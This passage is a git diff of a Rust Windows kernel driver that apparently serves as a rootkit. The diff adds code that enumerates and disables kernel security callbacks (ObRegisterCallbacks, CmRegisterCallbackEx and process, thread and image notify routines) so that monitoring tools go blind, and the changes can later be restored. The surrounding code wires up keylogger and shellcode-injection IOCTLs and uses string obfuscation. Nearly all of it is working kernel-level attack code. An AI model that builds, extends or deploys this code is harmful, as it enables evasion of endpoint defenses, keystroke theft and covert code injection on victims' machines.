(*ldr_data).SizeOfImage; + let end_address = start_address as u64 + image_size as u64; + + if callback.address > start_address as u64 && callback.address < end_address { + let buffer = core::slice::from_raw_parts( + (*ldr_data).BaseDllName.Buffer, + ((*ldr_data).BaseDllName.Length / 2) as usize, + ); + + // Module name + let name = &mut (*callback_info.offset(i as isize)).name[..buffer.len()]; + core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len()); + + // Module address + (*callback_info.offset(i as isize)).address = callback.address as usize; + + // Module index + (*callback_info.offset(i as isize)).index = callback.index as u8; + + *information += size_of::(); + break; + } + // Go to the next module in the list + ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + // Reset ldr_data for next callback + ldr_data = start_entry; + } + + STATUS_SUCCESS + } +} + +/// Structure representing the Callback Object. +pub struct CallbackOb; + +/// Implement a feature for the callback ObRegisterCallbacks (PsProcessType / PsThreadType). +impl CallbackList for CallbackOb { + unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS { + let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock(); + let callback_type = (*target_callback).callback; + let index = (*target_callback).index; + + if let Some(index) = callback_info.iter().position(|c| c.callback == callback_type && c.index == index) { + let object_type = match find_callback_address(&(*target_callback).callback) { + Some(CallbackResult::ObRegister(addr)) => addr, + _ => return STATUS_UNSUCCESSFUL, + }; + + let lock = &(*object_type).type_lock as *const _ as *mut u64; + ExAcquirePushLockExclusiveEx(lock, 0); + + let current = &mut ((*object_type).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY; + let mut next = (*current).callback_list.Flink as *mut OBCALLBACK_ENTRY; + + while next != current { + if !(*next).enabled && !next.is_null() && (*next).entry as u64 == callback_info[index].entry { + (*next).enabled = true; + callback_info.remove(index); + ExReleasePushLockExclusiveEx(lock, 0); + return STATUS_SUCCESS; + } + + next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY; + } + + ExReleasePushLockExclusiveEx(lock, 0); + } else { + log::error!("Callback not found for type {:?} at index {}", callback_type, index); + return STATUS_UNSUCCESSFUL; + } + + STATUS_UNSUCCESSFUL + } + + unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS { + let object_type = match find_callback_address(&(*target_callback).callback) { + Some(CallbackResult::ObRegister(addr)) => addr, + _ => return STATUS_UNSUCCESSFUL, + }; + + let lock = &(*object_type).type_lock as *const _ as *mut u64; + ExAcquirePushLockExclusiveEx(lock, 0); + + let mut i = 0; + let index = (*target_callback).index; + let current = &mut ((*object_type).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY; + let mut next = (*current).callback_list.Flink as *mut OBCALLBACK_ENTRY; + let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock(); + + while next != current { + if i == index { + if (*next).enabled { + let mut callback_restaure = CallbackRestaureOb { + index, + callback: (*target_callback).callback, + entry: (*next).entry as u64, + pre_operation: 0, + post_operation: 0 + }; + + if let Some(pre_op) = (*next).pre_operation { + callback_restaure.pre_operation = pre_op as _; + } + + if let Some(post_op) = (*next).post_operation { + callback_restaure.post_operation = post_op as _; + } + + (*next).enabled = false; + + callback_info.push(callback_restaure); + log::info!("Callback removed at index {}", index); + } + + ExReleasePushLockExclusiveEx(lock, 0); + + return STATUS_SUCCESS; + } + + next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY; + i += 1; + } + + ExReleasePushLockExclusiveEx(lock, 0); + + STATUS_UNSUCCESSFUL + } + + unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS { + let object_type = match find_callback_address(&(*target_callback).callback) { + Some(CallbackResult::ObRegister(addr)) => addr, + _ => return STATUS_UNSUCCESSFUL, + }; + + let current = &mut ((*object_type).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY; + let mut next = (*current).callback_list.Flink as *mut OBCALLBACK_ENTRY; + let mut list_objects = Vec::new(); + + while next != current { + let mut addrs = (0, 0); + if let Some(pre_op) = (*next).pre_operation { + addrs.0 = pre_op as u64; + } + + if let Some(post_op) = (*next).post_operation { + addrs.1 = post_op as u64; + } + + list_objects.push(((*next).enabled, addrs)); + + next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY; + } + + let (mut ldr_data, module_count) = match return_module() { + Some(result) => result, + None => return STATUS_UNSUCCESSFUL + }; + + let start_entry = ldr_data; + let mut current_index = 0; + + for (i, (enabled, addrs)) in list_objects.iter().enumerate() { + if !enabled { + current_index += 1; + continue; + } + + for _ in 0..module_count { + let start_address = (*ldr_data).DllBase; + let image_size = (*ldr_data).SizeOfImage; + let end_address = start_address as u64 + image_size as u64; + let pre = addrs.0; + let post = addrs.1; + + if pre > start_address as u64 && pre < end_address || + post > start_address as u64 && post < end_address + { + let buffer = core::slice::from_raw_parts( + (*ldr_data).BaseDllName.Buffer, + ((*ldr_data).BaseDllName.Length / 2) as usize, + ); + + // Module name + let name = &mut (*callback_info.offset(i as isize)).name[..buffer.len()]; + core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len()); + + // Module address + (*callback_info.offset(i as isize)).pre_operation = pre as usize; + (*callback_info.offset(i as isize)).post_operation = post as usize; + + // Module index + (*callback_info.offset(i as isize)).index = current_index as u8; + + *information += size_of::(); + current_index += 1; + break; + } + + // Go to the next module in the list + ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + // Reset ldr_data for next callback + ldr_data = start_entry; + } + + STATUS_SUCCESS + } + + unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS { + let callback_restaure = INFO_CALLBACK_RESTAURE_OB.lock(); + + let (mut ldr_data, module_count) = match return_module() { + Some(result) => result, + None => return STATUS_UNSUCCESSFUL + }; + + let start_entry = ldr_data; + + for (i, callback) in callback_restaure.iter().enumerate() { + for _ in 0..module_count { + let start_address = (*ldr_data).DllBase; + let image_size = (*ldr_data).SizeOfImage; + let end_address = start_address as u64 + image_size as u64; + + if callback.pre_operation > start_address as u64 && callback.pre_operation < end_address + || callback.post_operation > start_address as u64 && callback.post_operation < end_address + { + let buffer = core::slice::from_raw_parts( + (*ldr_data).BaseDllName.Buffer, + ((*ldr_data).BaseDllName.Length / 2) as usize, + ); + + // Module name + let name = &mut (*callback_info.offset(i as isize)).name[..buffer.len()]; + core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len()); + + // Module address + (*callback_info.offset(i as isize)).pre_operation = callback.pre_operation as usize; + (*callback_info.offset(i as isize)).post_operation = callback.post_operation as usize; + + // Module index + (*callback_info.offset(i as isize)).index = callback.index as u8; + + *information += size_of::(); + break; + } + // Go to the next module in the list + ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + // Reset ldr_data for next callback + ldr_data = start_entry; + } + + STATUS_SUCCESS + } +} \ No newline at end of file diff --git a/driver/src/includes/mod.rs b/driver/src/includes/mod.rs index a976948..f7f4d8b 100644 --- a/driver/src/includes/mod.rs +++ b/driver/src/includes/mod.rs @@ -4,96 +4,196 @@ use { bitfield::bitfield, ntapi::ntpsapi::PPS_ATTRIBUTE_LIST, - wdk_sys::{ - ACCESS_MASK, HANDLE, KIRQL, KPROCESSOR_MODE, NTSTATUS, PACCESS_STATE, - PCUNICODE_STRING, PEPROCESS, PETHREAD, PHANDLE, PKAPC, PKIRQL, POBJECT_ATTRIBUTES, - POBJECT_TYPE, PPEB, PRKAPC, PSIZE_T, PULONG, PUNICODE_STRING, PVOID, SIZE_T, ULONG, - _DRIVER_OBJECT, KPRIORITY - }, + shared::structs::LIST_ENTRY, + wdk_sys::*, winapi::ctypes::c_void }; -bitfield! { - pub struct PS_PROTECTION(u8); - pub u8, type_, set_type_: 2, 0; // 3 bits - pub u8, audit, set_audit: 3; // 1 bit - pub u8, signer, set_signer: 7, 4; // 4 bits +pub mod structs { + use super::*; + use shared::vars::Callbacks; + + #[repr(C)] + pub struct FULL_OBJECT_TYPE { + type_list: LIST_ENTRY, + name: UNICODE_STRING, + default_object: *mut c_void, + index: u8, + total_number_of_objects: u32, + pub total_number_of_handles: u32, + high_water_number_of_objects: u32, + high_water_number_of_handles: u32, + type_info: [u8; 0x78], + pub type_lock: _EX_PUSH_LOCK, + key: u32, + pub callback_list: LIST_ENTRY, + } + + #[repr(C)] + pub struct OBCALLBACK_ENTRY { + pub callback_list: LIST_ENTRY, + operations: OB_OPERATION, + pub enabled: bool, + pub entry: *mut OB_CALLBACK, + object_type: POBJECT_TYPE, + pub pre_operation: POB_PRE_OPERATION_CALLBACK, + pub post_operation: POB_POST_OPERATION_CALLBACK, + lock: KSPIN_LOCK + } + + #[repr(C)] + pub struct OB_CALLBACK { + version: u16, + operation_registration_count: u16, + registration_context: *mut c_void, + altitude_string: UNICODE_STRING, + entry_items: [OBCALLBACK_ENTRY; 1], + altitude_buffer: [u16; 1], + } + + pub struct PROCESS_SIGNATURE { + pub signature_level: u8, + pub section_seginature_level: u8, + pub protection: PS_PROTECTION, + } + + #[repr(C)] + #[derive(Debug, Clone, Copy)] + pub struct SystemModule { + pub section: *mut c_void, + pub mapped_base: *mut c_void, + pub image_base: *mut c_void, + pub size: u32, + pub flags: u32, + pub index: u8, + pub name_length: u8, + pub load_count: u8, + pub path_length: u8, + pub image_name: [u8; 256], + } + + #[repr(C)] + #[derive(Debug, Clone, Copy)] + pub struct SystemModuleInformation { + pub modules_count: u32, + pub modules: [SystemModule; 256], + } + + #[repr(C)] + #[derive(Debug, Clone, Copy)] + pub struct CM_CALLBACK { + pub list: LIST_ENTRY, + unknown1: [u64; 2], + context: u64, + pub function: u64, + altitude: UNICODE_STRING, + unknown2: [u64; 2], + } + + bitfield! { + pub struct _EX_PUSH_LOCK(u64); + impl Debug; + u64; + locked, set_locked: 0; + waiting, set_waiting: 1; + waking, set_waking: 2; + multiple_shared, set_multiple_shared: 3; + shared, set_shared: 63, 4; + } + + #[repr(C)] + union ExPushLockUnion { + struct_data: core::mem::ManuallyDrop<_EX_PUSH_LOCK>, + value: u64, + ptr: *mut c_void, + } + + bitfield! { + pub struct PS_PROTECTION(u8); + pub u8, type_, set_type_: 2, 0; // 3 bits + pub u8, audit, set_audit: 3; // 1 bit + pub u8, signer, set_signer: 7, 4; // 4 bits + } + + #[repr(C)] + #[derive(Default)] + pub struct CallbackRestaure { + pub index: usize, + pub callback: Callbacks, + pub address: u64, + } + + #[repr(C)] + pub struct CallbackRestaureOb{ + pub index: usize, + pub callback: Callbacks, + pub pre_operation: u64, + pub post_operation: u64, + pub entry: u64, + } } -pub struct PROCESS_SIGNATURE { - pub signature_level: u8, - pub section_seginature_level: u8, - pub protection: PS_PROTECTION, -} +pub mod types { + use super::*; -#[repr(C)] -#[derive(Debug, Clone, Copy)] -pub struct SystemModule { - pub section: *mut c_void, - pub mapped_base: *mut c_void, - pub image_base: *mut c_void, - pub size: u32, - pub flags: u32, - pub index: u8, - pub name_length: u8, - pub load_count: u8, - pub path_length: u8, - pub image_name: [u8; 256], -} + // pub type OperationPre = unsafe extern "C" fn(*mut core::ffi::c_void, *mut OB_PRE_OPERATION_INFORMATION) -> i32; + // pub type OperationPost = unsafe extern "C" fn(*mut core::ffi::c_void, *mut _OB_POST_OPERATION_INFORMATION); -#[repr(C)] -#[derive(Debug, Clone, Copy)] -pub struct SystemModuleInformation { - pub modules_count: u32, - pub modules: [SystemModule; 256], -} - -pub type DRIVER_INITIALIZE = core::option::Option< - unsafe extern "system" fn( + pub type DRIVER_INITIALIZE = core::option::Option NTSTATUS, ->; + ) -> NTSTATUS>; -pub type ZwCreateThreadExType = unsafe extern "system" fn ( - ThreadHandle: PHANDLE, - DesiredAccess: ACCESS_MASK, - ObjectAttributes: POBJECT_ATTRIBUTES, - ProcessHandle: HANDLE, - StartRoutine: PVOID, - Argument: PVOID, - CreateFlags: SIZE_T, - ZeroBits: usize, - StackSize: usize, - MaximumStackSize: usize, - AttributeList: PPS_ATTRIBUTE_LIST -) -> NTSTATUS; + pub type ZwCreateThreadExType = unsafe extern "system" fn ( + ThreadHandle: PHANDLE, + DesiredAccess: ACCESS_MASK, + ObjectAttributes: POBJECT_ATTRIBUTES, + ProcessHandle: HANDLE, + StartRoutine: PVOID, + Argument: PVOID, + CreateFlags: SIZE_T, + ZeroBits: usize, + StackSize: usize, + MaximumStackSize: usize, + AttributeList: PPS_ATTRIBUTE_LIST + ) -> NTSTATUS; -pub type ZwProtectVirtualMemoryType = unsafe extern "system" fn ( - ProcessHandle: HANDLE, - BaseAddress: *mut PVOID, - RegionSize: PSIZE_T, - NewProtect: ULONG, - OldProtect: PULONG -) -> NTSTATUS; + pub type ZwProtectVirtualMemoryType = unsafe extern "system" fn ( + ProcessHandle: HANDLE, + BaseAddress: *mut PVOID, + RegionSize: PSIZE_T, + NewProtect: ULONG, + OldProtect: PULONG + ) -> NTSTATUS; -pub type PKRUNDOWN_ROUTINE = Option NTSTATUS>; + pub type PKRUNDOWN_ROUTINE = Option NTSTATUS>; -pub type PKNORMAL_ROUTINE = Option NTSTATUS>; + pub type PKNORMAL_ROUTINE = Option NTSTATUS>; -pub type PKKERNEL_ROUTINE = unsafe extern "system" fn( - apc: PKAPC, - normal_routine: *mut PKNORMAL_ROUTINE, - normal_context: *mut PVOID, - system_argument1: *mut PVOID, - system_argument2: *mut PVOID -); + pub type PKKERNEL_ROUTINE = unsafe extern "system" fn( + apc: PKAPC, + normal_routine: *mut PKNORMAL_ROUTINE, + normal_context: *mut PVOID, + system_argument1: *mut PVOID, + system_argument2: *mut PVOID + ); +} + +pub mod enums { + #[repr(C)] + pub enum KAPC_ENVIROMENT { + OriginalApcEnvironment, + AttachedApcEnvironment, + CurrentApcEnvironment, + InsertApcEnvironment + } +} extern "system" { pub fn PsGetProcessPeb(ProcessId: PEPROCESS) -> PPEB; @@ -131,10 +231,10 @@ extern "system" { pub fn KeInitializeApc( apc: PRKAPC, thread: PETHREAD, - environment: KAPC_ENVIROMENT, - kernel_routine: PKKERNEL_ROUTINE, - rundown_routine: PKRUNDOWN_ROUTINE, - normal_routine: PKNORMAL_ROUTINE, + environment: enums::KAPC_ENVIROMENT, + kernel_routine: types::PKKERNEL_ROUTINE, + rundown_routine: types::PKRUNDOWN_ROUTINE, + normal_routine: types::PKNORMAL_ROUTINE, apc_mode: KPROCESSOR_MODE, normal_context: PVOID ); @@ -150,11 +250,3 @@ extern "system" { increment: KPRIORITY ) -> bool; } - -#[repr(C)] -pub enum KAPC_ENVIROMENT { - OriginalApcEnvironment, - AttachedApcEnvironment, - CurrentApcEnvironment, - InsertApcEnvironment -} diff --git a/driver/src/injection/mod.rs b/driver/src/injection/mod.rs index e01bc20..5b772c7 100644 --- a/driver/src/injection/mod.rs +++ b/driver/src/injection/mod.rs @@ -6,9 +6,11 @@ use { core::{ffi::c_void, ptr::null_mut, mem::{size_of, transmute}}, crate::{ includes::{ - MmCopyVirtualMemory, KeInitializeApc, ZwCreateThreadExType, ZwProtectVirtualMemoryType, - KAPC_ENVIROMENT::OriginalApcEnvironment, PKNORMAL_ROUTINE, KeTestAlertThread, - PsGetCurrentThread, KeInsertQueueApc + types::{ + ZwProtectVirtualMemoryType, ZwCreateThreadExType, PKNORMAL_ROUTINE + }, + MmCopyVirtualMemory, KeInitializeApc, KeTestAlertThread, PsGetCurrentThread, KeInsertQueueApc, + enums::KAPC_ENVIROMENT::OriginalApcEnvironment, }, process::Process, utils::{find_zw_function, read_file, InitializeObjectAttributes, find_thread_alertable} diff --git a/driver/src/process/mod.rs b/driver/src/process/mod.rs index fc6607d..2febbb1 100644 --- a/driver/src/process/mod.rs +++ b/driver/src/process/mod.rs @@ -12,7 +12,7 @@ use { }, }, crate::{ - includes::PROCESS_SIGNATURE, + includes::structs::PROCESS_SIGNATURE, utils::offsets::{get_offset_signature, get_offset_token, get_offset_unique_process_id}, }, }; diff --git a/driver/src/utils/ioctls.rs b/driver/src/utils/ioctls.rs index 1cf8724..4b87648 100644 --- a/driver/src/utils/ioctls.rs +++ b/driver/src/utils/ioctls.rs @@ -1,7 +1,7 @@ use { - crate::{*, - callbacks::Callback, driver::Driver, - injection::InjectionShellcode, keylogger::set_keylogger_state, + crate::{ + *, callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList}, + driver::Driver, injection::InjectionShellcode, keylogger::set_keylogger_state, module::Module, process::Process, thread::Thread }, alloc::boxed::Box, @@ -100,21 +100,29 @@ lazy_static! { ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { log::info!("Received IOCTL_ENUMERATE_CALLBACK"); let mut information = 0; - let status = unsafe { handle_callback!(irp, stack, Callback::search_module, CallbackInfoInput, CallbackInfoOutput, &mut information) }; + let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_CALLBACK) }; + unsafe { (*irp).IoStatus.Information = information as u64 }; + status + }) as IoctlHandler); + + ioctls.insert(IOCTL_ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_ENUMERATE_REMOVED_CALLBACK"); + let mut information = 0; + let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_REMOVED_CALLBACK) }; unsafe { (*irp).IoStatus.Information = information as u64 }; status }) as IoctlHandler); ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { log::info!("Received IOCTL_REMOVE_CALLBACK"); - let status = unsafe { handle_callback!(stack, Callback::remove_callback, CallbackInfoInput) }; + let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_REMOVE_CALLBACK) }; unsafe { (*irp).IoStatus.Information = 0 }; status }) as IoctlHandler); ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { log::info!("Received IOCTL_RESTORE_CALLBACK"); - let status = unsafe { handle_callback!(stack, Callback::restore_callback, CallbackInfoInput) }; + let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_RESTORE_CALLBACK) }; unsafe { (*irp).IoStatus.Information = 0 }; status }) as IoctlHandler); diff --git a/driver/src/utils/macros.rs b/driver/src/utils/macros.rs index b0ba7a5..609c79a 100644 --- a/driver/src/utils/macros.rs +++ b/driver/src/utils/macros.rs @@ -156,28 +156,85 @@ macro_rules! handle_module { /// Macro to handle callback-related operations. /// /// Executes the given action based on the provided parameters and returns the status. +/// #[macro_export] macro_rules! handle_callback { - ($irp:expr, $stack:expr, $action:expr, $input_type:ty, $output_type:ty, $information:expr) => {{ - let output_buffer = match crate::utils::get_output_buffer::<$output_type>($irp) { - Ok(buffer) => buffer, - Err(status) => return status, - }; + ($irp:expr, $stack:expr, $input_type:ty, $output_type:ty, $information:expr, $ioctl:expr) => {{ + use shared::vars::Callbacks; let input_buffer = match crate::utils::get_input_buffer::<$input_type>($stack) { Ok(buffer) => buffer, Err(status) => return status, }; + + let output_buffer = match crate::utils::get_output_buffer::<$output_type>($irp) { + Ok(buffer) => buffer, + Err(status) => return status, + }; + + let mut status = 0; + + match $ioctl { + IOCTL_ENUMERATE_CALLBACK => { + status = match (*input_buffer).callback { + Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information), + Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information), + Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information), + Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_callback(input_buffer, output_buffer, $information), + Callbacks::ObProcess => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information), + Callbacks::ObThread => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information), + }; + }, + IOCTL_ENUMERATE_REMOVED_CALLBACK => { + status = match (*input_buffer).callback { + Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information), + Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information), + Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information), + Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_removed_callback(input_buffer, output_buffer, $information), + Callbacks::ObProcess => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information), + Callbacks::ObThread => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information), + }; + }, + _ => {} + } - $action(input_buffer, output_buffer, $information) + status }}; - ($irp:expr, $action:expr, $type_:ty) => {{ + ($irp:expr, $type_:ty, $ioctl:expr) => {{ + use shared::vars::Callbacks; + let input_buffer = match crate::utils::get_input_buffer::<$type_>($irp) { Ok(buffer) => buffer, Err(status) => return status, }; - - $action(input_buffer) + + let mut status = 0; + + match $ioctl { + IOCTL_REMOVE_CALLBACK => { + status = match (*input_buffer).callback { + Callbacks::PsSetCreateProcessNotifyRoutine => Callback::remove_callback(input_buffer), + Callbacks::PsSetCreateThreadNotifyRoutine => Callback::remove_callback(input_buffer), + Callbacks::PsSetLoadImageNotifyRoutine => Callback::remove_callback(input_buffer), + Callbacks::CmRegisterCallbackEx => CallbackRegistry::remove_callback(input_buffer), + Callbacks::ObProcess => CallbackOb::remove_callback(input_buffer), + Callbacks::ObThread => CallbackOb::remove_callback(input_buffer), + }; + }, + IOCTL_RESTORE_CALLBACK => { + status = match (*input_buffer).callback { + Callbacks::PsSetCreateProcessNotifyRoutine => Callback::restore_callback(input_buffer), + Callbacks::PsSetCreateThreadNotifyRoutine => Callback::restore_callback(input_buffer), + Callbacks::PsSetLoadImageNotifyRoutine => Callback::restore_callback(input_buffer), + Callbacks::CmRegisterCallbackEx => CallbackRegistry::restore_callback(input_buffer), + Callbacks::ObProcess => CallbackOb::restore_callback(input_buffer), + Callbacks::ObThread => CallbackOb::restore_callback(input_buffer), + }; + }, + _ => {} + } + + status }}; } diff --git a/driver/src/utils/mod.rs b/driver/src/utils/mod.rs index 660b337..ca86c25 100644 --- a/driver/src/utils/mod.rs +++ b/driver/src/utils/mod.rs @@ -1,5 +1,5 @@ use { - crate::{includes::SystemModuleInformation, process::Process}, + crate::{includes::structs::SystemModuleInformation, process::Process}, alloc::{string::String, vec, vec::Vec}, core::{ ffi::{c_void, CStr}, @@ -9,16 +9,13 @@ use { }, ntapi::{ ntexapi::{SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION}, - ntzwapi::ZwQuerySystemInformation + ntzwapi::ZwQuerySystemInformation, + ntldr::LDR_DATA_TABLE_ENTRY, }, obfstr::obfstr, wdk_sys::{ *, - ntddk::{ - ExAllocatePool2, ExFreePool, KeStackAttachProcess, KeUnstackDetachProcess, - ZwMapViewOfSection, ZwOpenSection, ZwReadFile, ZwClose, ZwUnmapViewOfSection, - ZwCreateFile, ZwQueryInformationFile, PsIsThreadTerminating - }, + ntddk::*, _FILE_INFORMATION_CLASS::FileStandardInformation, _SECTION_INHERIT::ViewUnmap }, @@ -613,6 +610,32 @@ pub fn read_file(path: &String) -> Result, NTSTATUS> { return Ok(shellcode) } +/// Responsible for returning information on the modules loaded. +/// +/// # Returns +/// - `Option<(*mut LDR_DATA_TABLE_ENTRY, i32)> `: Returns a content containing LDR_DATA_TABLE_ENTRY and the return of how many loaded modules there are in PsLoadedModuleList. +/// +pub fn return_module() -> Option<(*mut LDR_DATA_TABLE_ENTRY, i32)> { + let ps_module = crate::uni::str_to_unicode(obfstr!("PsLoadedModuleList")); + let func = unsafe { MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY }; + + if func.is_null() { + log::error!("PsLoadedModuleList is null"); + return None; + } + + let mut list_entry = unsafe { (*func).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY }; + let mut module_count = 0; + + let start_entry = list_entry; + while !list_entry.is_null() && list_entry != func { + module_count += 1; + list_entry = unsafe { (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY }; + } + + Some((start_entry, module_count)) +} + /// Validates if the given address is within the kernel memory range. /// /// # Parameters diff --git a/shared/src/ioctls.rs b/shared/src/ioctls.rs index 996af6c..a1a93b2 100644 --- a/shared/src/ioctls.rs +++ b/shared/src/ioctls.rs @@ -35,15 +35,15 @@ pub const IOCTL_KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_NE pub const IOCTL_ENUMERATE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x813, METHOD_NEITHER, FILE_ANY_ACCESS); pub const IOCTL_REMOVE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x814, METHOD_NEITHER, FILE_ANY_ACCESS); pub const IOCTL_RESTORE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x815, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_ENUMERATE_REMOVED_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x816, METHOD_NEITHER, FILE_ANY_ACCESS); // Registry -pub const IOCTL_REGISTRY_PROTECTION_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x816, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_REGISTRY_PROTECTION_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x817, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_REGISTRY_PROTECTION_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x817, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_REGISTRY_PROTECTION_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x818, METHOD_NEITHER, FILE_ANY_ACCESS); // Module -pub const IOCTL_ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x818, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x819, METHOD_NEITHER, FILE_ANY_ACCESS); // Injection -pub const IOCTL_INJECTION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x819, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_INJECTION_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x820, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_TESTE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS); \ No newline at end of file +pub const IOCTL_INJECTION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x820, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_INJECTION_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS); \ No newline at end of file diff --git a/shared/src/structs/callback.rs b/shared/src/structs/callback.rs index b7eb987..668e2c4 100644 --- a/shared/src/structs/callback.rs +++ b/shared/src/structs/callback.rs @@ -1,3 +1,4 @@ +extern crate alloc; use crate::vars::Callbacks; // Callback Information for Enumeration (Output) @@ -7,6 +8,8 @@ pub struct CallbackInfoOutput { pub address: usize, pub name: [u16; 256], pub index: u8, + pub pre_operation: usize, + pub post_operation: usize } // Callback Information for Action (Input) @@ -16,12 +19,3 @@ pub struct CallbackInfoInput { pub index: usize, pub callback: Callbacks } - -// -#[repr(C)] -#[derive(Debug)] -pub struct CallbackRestaure { - pub index: usize, - pub callback: Callbacks, - pub address: u64, -} \ No newline at end of file diff --git a/shared/src/structs/mod.rs b/shared/src/structs/mod.rs index fde933f..ed087c4 100644 --- a/shared/src/structs/mod.rs +++ b/shared/src/structs/mod.rs @@ -23,6 +23,7 @@ pub mod injection; // Custom LIST_ENTRY #[repr(C)] +#[derive(Debug, Clone, Copy)] pub struct LIST_ENTRY { pub Flink: *mut LIST_ENTRY, pub Blink: *mut LIST_ENTRY, diff --git a/shared/src/structs/process.rs b/shared/src/structs/process.rs index ba3b0cd..611ed17 100644 --- a/shared/src/structs/process.rs +++ b/shared/src/structs/process.rs @@ -16,20 +16,13 @@ pub struct ProcessListInfo { pub pids: usize, } -// Stores information about the target process. +// Stores information about the target process #[repr(C)] #[derive(Debug, Default)] pub struct TargetProcess { pub pid: usize, } -// Anti-create Process -#[repr(C)] -#[derive(Debug, Default)] -pub struct AntiCreateProcess { - pub name: &'static str -} - // Process Info Hide #[repr(C)] #[derive(Debug, Default)] diff --git a/shared/src/vars.rs b/shared/src/vars.rs index bd1ccdf..e89ec97 100644 --- a/shared/src/vars.rs +++ b/shared/src/vars.rs @@ -2,11 +2,15 @@ pub const MAX_PIDS: usize = 256; pub const MAX_DRIVER: usize = 256; pub const MAX_TIDS: usize = 256; -#[derive(Debug, Copy, Clone, PartialEq)] +#[derive(Debug, Copy, Clone, PartialEq, Default)] pub enum Callbacks { + #[default] PsSetCreateProcessNotifyRoutine, PsSetCreateThreadNotifyRoutine, - PsSetLoadImageNotifyRoutine + PsSetLoadImageNotifyRoutine, + CmRegisterCallbackEx, + ObProcess, + ObThread, } #[derive(Debug)]